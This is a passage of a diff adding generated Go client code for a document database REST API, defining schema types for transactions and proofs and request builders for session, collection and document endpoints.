`json:"-"` +} + +// RpcStatus defines model for rpcStatus. +type RpcStatus struct { + Code *int32 `json:"code,omitempty"` + Details *[]ProtobufAny `json:"details,omitempty"` + Message *string `json:"message,omitempty"` +} + +// SchemaDualProofV2 defines model for schemaDualProofV2. +type SchemaDualProofV2 struct { + ConsistencyProof *[][]byte `json:"consistencyProof,omitempty"` + InclusionProof *[][]byte `json:"inclusionProof,omitempty"` + SourceTxHeader *SchemaTxHeader `json:"sourceTxHeader,omitempty"` + TargetTxHeader *SchemaTxHeader `json:"targetTxHeader,omitempty"` +} + +// SchemaEntry defines model for schemaEntry. +type SchemaEntry struct { + Expired *bool `json:"expired,omitempty"` + Key *[]byte `json:"key,omitempty"` + Metadata *SchemaKVMetadata `json:"metadata,omitempty"` + ReferencedBy *SchemaReference `json:"referencedBy,omitempty"` + Revision *string `json:"revision,omitempty"` + Tx *string `json:"tx,omitempty"` + Value *[]byte `json:"value,omitempty"` +} + +// SchemaExpiration defines model for schemaExpiration. +type SchemaExpiration struct { + ExpiresAt *string `json:"expiresAt,omitempty"` +} + +// SchemaKVMetadata defines model for schemaKVMetadata. +type SchemaKVMetadata struct { + Deleted *bool `json:"deleted,omitempty"` + Expiration *SchemaExpiration `json:"expiration,omitempty"` + NonIndexable *bool `json:"nonIndexable,omitempty"` +} + +// SchemaReference defines model for schemaReference. +type SchemaReference struct { + AtTx *string `json:"atTx,omitempty"` + Key *[]byte `json:"key,omitempty"` + Metadata *SchemaKVMetadata `json:"metadata,omitempty"` + Revision *string `json:"revision,omitempty"` + Tx *string `json:"tx,omitempty"` +} + +// SchemaSignature defines model for schemaSignature. +type SchemaSignature struct { + PublicKey *[]byte `json:"publicKey,omitempty"` + Signature *[]byte `json:"signature,omitempty"` +} + +// SchemaTx defines model for schemaTx. +type SchemaTx struct { + Entries *[]SchemaTxEntry `json:"entries,omitempty"` + Header *SchemaTxHeader `json:"header,omitempty"` + KvEntries *[]SchemaEntry `json:"kvEntries,omitempty"` + ZEntries *[]SchemaZEntry `json:"zEntries,omitempty"` +} + +// SchemaTxEntry defines model for schemaTxEntry. +type SchemaTxEntry struct { + HValue *[]byte `json:"hValue,omitempty"` + Key *[]byte `json:"key,omitempty"` + Metadata *SchemaKVMetadata `json:"metadata,omitempty"` + VLen *int32 `json:"vLen,omitempty"` + + // Value value, must be ignored when len(value) == 0 and vLen > 0. + // Otherwise sha256(value) must be equal to hValue. + Value *[]byte `json:"value,omitempty"` +} + +// SchemaTxHeader defines model for schemaTxHeader. +type SchemaTxHeader struct { + BlRoot *[]byte `json:"blRoot,omitempty"` + BlTxId *string `json:"blTxId,omitempty"` + EH *[]byte `json:"eH,omitempty"` + Id *string `json:"id,omitempty"` + Metadata *SchemaTxMetadata `json:"metadata,omitempty"` + Nentries *int32 `json:"nentries,omitempty"` + PrevAlh *[]byte `json:"prevAlh,omitempty"` + Ts *string `json:"ts,omitempty"` + Version *int32 `json:"version,omitempty"` +} + +// SchemaTxMetadata defines model for schemaTxMetadata. +type SchemaTxMetadata struct { + TruncatedTxID *string `json:"truncatedTxID,omitempty"` +} + +// SchemaVerifiableTxV2 defines model for schemaVerifiableTxV2. +type SchemaVerifiableTxV2 struct { + DualProof *SchemaDualProofV2 `json:"dualProof,omitempty"` + Signature *SchemaSignature `json:"signature,omitempty"` + Tx *SchemaTx `json:"tx,omitempty"` +} + +// SchemaZEntry defines model for schemaZEntry. +type SchemaZEntry struct { + AtTx *string `json:"atTx,omitempty"` + Entry *SchemaEntry `json:"entry,omitempty"` + Key *[]byte `json:"key,omitempty"` + Score *float64 `json:"score,omitempty"` + Set *[]byte `json:"set,omitempty"` +} + +// CollectionDeleteParams defines parameters for CollectionDelete. +type CollectionDeleteParams struct { + Name *string `form:"name,omitempty" json:"name,omitempty"` +} + +// CollectionGetParams defines parameters for CollectionGet. +type CollectionGetParams struct { + Name *string `form:"name,omitempty" json:"name,omitempty"` +} + +// CloseSessionJSONRequestBody defines body for CloseSession for application/json ContentType. +type CloseSessionJSONRequestBody = ModelCloseSessionRequest + +// KeepAliveJSONRequestBody defines body for KeepAlive for application/json ContentType. +type KeepAliveJSONRequestBody = ModelKeepAliveRequest + +// OpenSessionJSONRequestBody defines body for OpenSession for application/json ContentType. +type OpenSessionJSONRequestBody = ImmudbmodelOpenSessionRequest + +// CollectionCreateJSONRequestBody defines body for CollectionCreate for application/json ContentType. +type CollectionCreateJSONRequestBody = ModelCollectionCreateRequest + +// CollectionListJSONRequestBody defines body for CollectionList for application/json ContentType. +type CollectionListJSONRequestBody = ModelCollectionListRequest + +// CollectionUpdateJSONRequestBody defines body for CollectionUpdate for application/json ContentType. +type CollectionUpdateJSONRequestBody = ModelCollectionUpdateRequest + +// DocumentAuditJSONRequestBody defines body for DocumentAudit for application/json ContentType. +type DocumentAuditJSONRequestBody = ModelDocumentAuditRequest + +// DocumentInsertJSONRequestBody defines body for DocumentInsert for application/json ContentType. +type DocumentInsertJSONRequestBody = ModelDocumentInsertRequest + +// DocumentInsertManyJSONRequestBody defines body for DocumentInsertMany for application/json ContentType. +type DocumentInsertManyJSONRequestBody = ModelDocumentInsertManyRequest + +// DocumentProofJSONRequestBody defines body for DocumentProof for application/json ContentType. +type DocumentProofJSONRequestBody = ModelDocumentProofRequest + +// DocumentSearchJSONRequestBody defines body for DocumentSearch for application/json ContentType. +type DocumentSearchJSONRequestBody = ModelDocumentSearchRequest + +// DocumentUpdateJSONRequestBody defines body for DocumentUpdate for application/json ContentType. +type DocumentUpdateJSONRequestBody = ModelDocumentUpdateRequest + +// Getter for additional properties for ProtobufAny. Returns the specified +// element and whether it was found +func (a ProtobufAny) Get(fieldName string) (value map[string]interface{}, found bool) { + if a.AdditionalProperties != nil { + value, found = a.AdditionalProperties[fieldName] + } + return +} + +// Setter for additional properties for ProtobufAny +func (a *ProtobufAny) Set(fieldName string, value map[string]interface{}) { + if a.AdditionalProperties == nil { + a.AdditionalProperties = make(map[string]map[string]interface{}) + } + a.AdditionalProperties[fieldName] = value +} + +// Override default JSON handling for ProtobufAny to handle AdditionalProperties +func (a *ProtobufAny) UnmarshalJSON(b []byte) error { + object := make(map[string]json.RawMessage) + err := json.Unmarshal(b, &object) + if err != nil { + return err + } + + if raw, found := object["@type"]; found { + err = json.Unmarshal(raw, &a.Type) + if err != nil { + return fmt.Errorf("error reading '@type': %w", err) + } + delete(object, "@type") + } + + if len(object) != 0 { + a.AdditionalProperties = make(map[string]map[string]interface{}) + for fieldName, fieldBuf := range object { + var fieldVal map[string]interface{} + err := json.Unmarshal(fieldBuf, &fieldVal) + if err != nil { + return fmt.Errorf("error unmarshalling field %s: %w", fieldName, err) + } + a.AdditionalProperties[fieldName] = fieldVal + } + } + return nil +} + +// Override default JSON handling for ProtobufAny to handle AdditionalProperties +func (a ProtobufAny) MarshalJSON() ([]byte, error) { + var err error + object := make(map[string]json.RawMessage) + + if a.Type != nil { + object["@type"], err = json.Marshal(a.Type) + if err != nil { + return nil, fmt.Errorf("error marshaling '@type': %w", err) + } + } + + for fieldName, field := range a.AdditionalProperties { + object[fieldName], err = json.Marshal(field) + if err != nil { + return nil, fmt.Errorf("error marshaling '%s': %w", fieldName, err) + } + } + return json.Marshal(object) +} + +// RequestEditorFn is the function signature for the RequestEditor callback function +type RequestEditorFn func(ctx context.Context, req *http.Request) error + +// Doer performs HTTP requests. +// +// The standard http.Client implements this interface. +type HttpRequestDoer interface { + Do(req *http.Request) (*http.Response, error) +} + +// Client which conforms to the OpenAPI3 specification for this service. +type Client struct { + // The endpoint of the server conforming to this interface, with scheme, + // https://api.deepmap.com for example. This can contain a path relative + // to the server, such as https://api.deepmap.com/dev-test, and all the + // paths in the swagger spec will be appended to the server. + Server string + + // Doer for performing requests, typically a *http.Client with any + // customized settings, such as certificate chains. + Client HttpRequestDoer + + // A list of callbacks for modifying requests which are generated before sending over + // the network. + RequestEditors []RequestEditorFn +} + +// ClientOption allows setting custom parameters during construction +type ClientOption func(*Client) error + +// Creates a new Client, with reasonable defaults +func NewClient(server string, opts ...ClientOption) (*Client, error) { + // create a client with sane default values + client := Client{ + Server: server, + } + // mutate client and add all optional params + for _, o := range opts { + if err := o(&client); err != nil { + return nil, err + } + } + // ensure the server URL always has a trailing slash + if !strings.HasSuffix(client.Server, "/") { + client.Server += "/" + } + // create httpClient, if not already present + if client.Client == nil { + client.Client = &http.Client{} + } + return &client, nil +} + +// WithHTTPClient allows overriding the default Doer, which is +// automatically created using http.Client. This is useful for tests. +func WithHTTPClient(doer HttpRequestDoer) ClientOption { + return func(c *Client) error { + c.Client = doer + return nil + } +} + +// WithRequestEditorFn allows setting up a callback function, which will be +// called right before sending the request. This can be used to mutate the request. +func WithRequestEditorFn(fn RequestEditorFn) ClientOption { + return func(c *Client) error { + c.RequestEditors = append(c.RequestEditors, fn) + return nil + } +} + +// The interface specification for the client above. +type ClientInterface interface { + // CloseSession request with any body + CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + CloseSession(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // KeepAlive request with any body + KeepAliveWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + KeepAlive(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // OpenSession request with any body + OpenSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + OpenSession(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // CollectionCreate request with any body + CollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + CollectionCreate(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // CollectionDelete request + CollectionDelete(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) + + // CollectionGet request + CollectionGet(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) + + // CollectionList request with any body + CollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + CollectionList(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // CollectionUpdate request with any body + CollectionUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + CollectionUpdate(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentAudit request with any body + DocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentAudit(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentInsert request with any body + DocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentInsert(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentInsertMany request with any body + DocumentInsertManyWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentInsertMany(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentProof request with any body + DocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentProof(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentSearch request with any body + DocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentSearch(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) + + // DocumentUpdate request with any body + DocumentUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) + + DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) +} + +func (c *Client) CloseSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCloseSessionRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CloseSession(ctx context.Context, body CloseSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCloseSessionRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) KeepAliveWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewKeepAliveRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) KeepAlive(ctx context.Context, body KeepAliveJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewKeepAliveRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) OpenSessionWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewOpenSessionRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) OpenSession(ctx context.Context, body OpenSessionJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewOpenSessionRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionCreateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionCreateRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionCreate(ctx context.Context, body CollectionCreateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionCreateRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionDelete(ctx context.Context, params *CollectionDeleteParams, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionDeleteRequest(c.Server, params) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionGet(ctx context.Context, params *CollectionGetParams, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionGetRequest(c.Server, params) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionListWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionListRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionList(ctx context.Context, body CollectionListJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionListRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionUpdateRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) CollectionUpdate(ctx context.Context, body CollectionUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewCollectionUpdateRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentAuditWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentAuditRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentAudit(ctx context.Context, body DocumentAuditJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentAuditRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentInsertWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentInsertRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentInsert(ctx context.Context, body DocumentInsertJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentInsertRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentInsertManyWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentInsertManyRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentInsertMany(ctx context.Context, body DocumentInsertManyJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentInsertManyRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentProofWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentProofRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentProof(ctx context.Context, body DocumentProofJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentProofRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentSearchWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentSearchRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentSearch(ctx context.Context, body DocumentSearchJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentSearchRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentUpdateWithBody(ctx context.Context, contentType string, body io.Reader, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentUpdateRequestWithBody(c.Server, contentType, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +func (c *Client) DocumentUpdate(ctx context.Context, body DocumentUpdateJSONRequestBody, reqEditors ...RequestEditorFn) (*http.Response, error) { + req, err := NewDocumentUpdateRequest(c.Server, body) + if err != nil { + return nil, err + } + req = req.WithContext(ctx) + if err := c.applyEditors(ctx, req, reqEditors); err != nil { + return nil, err + } + return c.Client.Do(req) +} + +// NewCloseSessionRequest calls the generic CloseSession builder with application/json body +func NewCloseSessionRequest(server string, body CloseSessionJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewCloseSessionRequestWithBody(server, "application/json", bodyReader) +} + +// NewCloseSessionRequestWithBody generates requests for CloseSession with any type of body +func NewCloseSessionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/authorization/session/close") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewKeepAliveRequest calls the generic KeepAlive builder with application/json body +func NewKeepAliveRequest(server string, body KeepAliveJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewKeepAliveRequestWithBody(server, "application/json", bodyReader) +} + +// NewKeepAliveRequestWithBody generates requests for KeepAlive with any type of body +func NewKeepAliveRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/authorization/session/keepalive") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewOpenSessionRequest calls the generic OpenSession builder with application/json body +func NewOpenSessionRequest(server string, body OpenSessionJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewOpenSessionRequestWithBody(server, "application/json", bodyReader) +} + +// NewOpenSessionRequestWithBody generates requests for OpenSession with any type of body +func NewOpenSessionRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/authorization/session/open") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewCollectionCreateRequest calls the generic CollectionCreate builder with application/json body +func NewCollectionCreateRequest(server string, body CollectionCreateJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewCollectionCreateRequestWithBody(server, "application/json", bodyReader) +} + +// NewCollectionCreateRequestWithBody generates requests for CollectionCreate with any type of body +func NewCollectionCreateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/create") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewCollectionDeleteRequest generates requests for CollectionDelete +func NewCollectionDeleteRequest(server string, params *CollectionDeleteParams) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/delete") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + queryValues := queryURL.Query() + + if params.Name != nil { + + if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { + return nil, err + } else if parsed, err := url.ParseQuery(queryFrag); err != nil { + return nil, err + } else { + for k, v := range parsed { + for _, v2 := range v { + queryValues.Add(k, v2) + } + } + } + + } + + queryURL.RawQuery = queryValues.Encode() + + req, err := http.NewRequest("DELETE", queryURL.String(), nil) + if err != nil { + return nil, err + } + + return req, nil +} + +// NewCollectionGetRequest generates requests for CollectionGet +func NewCollectionGetRequest(server string, params *CollectionGetParams) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/get") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + queryValues := queryURL.Query() + + if params.Name != nil { + + if queryFrag, err := runtime.StyleParamWithLocation("form", true, "name", runtime.ParamLocationQuery, *params.Name); err != nil { + return nil, err + } else if parsed, err := url.ParseQuery(queryFrag); err != nil { + return nil, err + } else { + for k, v := range parsed { + for _, v2 := range v { + queryValues.Add(k, v2) + } + } + } + + } + + queryURL.RawQuery = queryValues.Encode() + + req, err := http.NewRequest("GET", queryURL.String(), nil) + if err != nil { + return nil, err + } + + return req, nil +} + +// NewCollectionListRequest calls the generic CollectionList builder with application/json body +func NewCollectionListRequest(server string, body CollectionListJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewCollectionListRequestWithBody(server, "application/json", bodyReader) +} + +// NewCollectionListRequestWithBody generates requests for CollectionList with any type of body +func NewCollectionListRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/list") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewCollectionUpdateRequest calls the generic CollectionUpdate builder with application/json body +func NewCollectionUpdateRequest(server string, body CollectionUpdateJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewCollectionUpdateRequestWithBody(server, "application/json", bodyReader) +} + +// NewCollectionUpdateRequestWithBody generates requests for CollectionUpdate with any type of body +func NewCollectionUpdateRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/collections/update") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("PUT", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentAuditRequest calls the generic DocumentAudit builder with application/json body +func NewDocumentAuditRequest(server string, body DocumentAuditJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentAuditRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentAuditRequestWithBody generates requests for DocumentAudit with any type of body +func NewDocumentAuditRequestWithBody(server string, contentType string, body io.Reader) (*http.Request, error) { + var err error + + serverURL, err := url.Parse(server) + if err != nil { + return nil, err + } + + operationPath := fmt.Sprintf("/documents/audit") + if operationPath[0] == '/' { + operationPath = "." + operationPath + } + + queryURL, err := serverURL.Parse(operationPath) + if err != nil { + return nil, err + } + + req, err := http.NewRequest("POST", queryURL.String(), body) + if err != nil { + return nil, err + } + + req.Header.Add("Content-Type", contentType) + + return req, nil +} + +// NewDocumentInsertRequest calls the generic DocumentInsert builder with application/json body +func NewDocumentInsertRequest(server string, body DocumentInsertJSONRequestBody) (*http.Request, error) { + var bodyReader io.Reader + buf, err := json.Marshal(body) + if err != nil { + return nil, err + } + bodyReader = bytes.NewReader(buf) + return NewDocumentInsertRequestWithBody(server, "application/json", bodyReader) +} + +// NewDocumentInsertRequestWithBody generates requests for DocumentInsert with any type of body +func NewDocumentInsertRequestWithBody(server string, 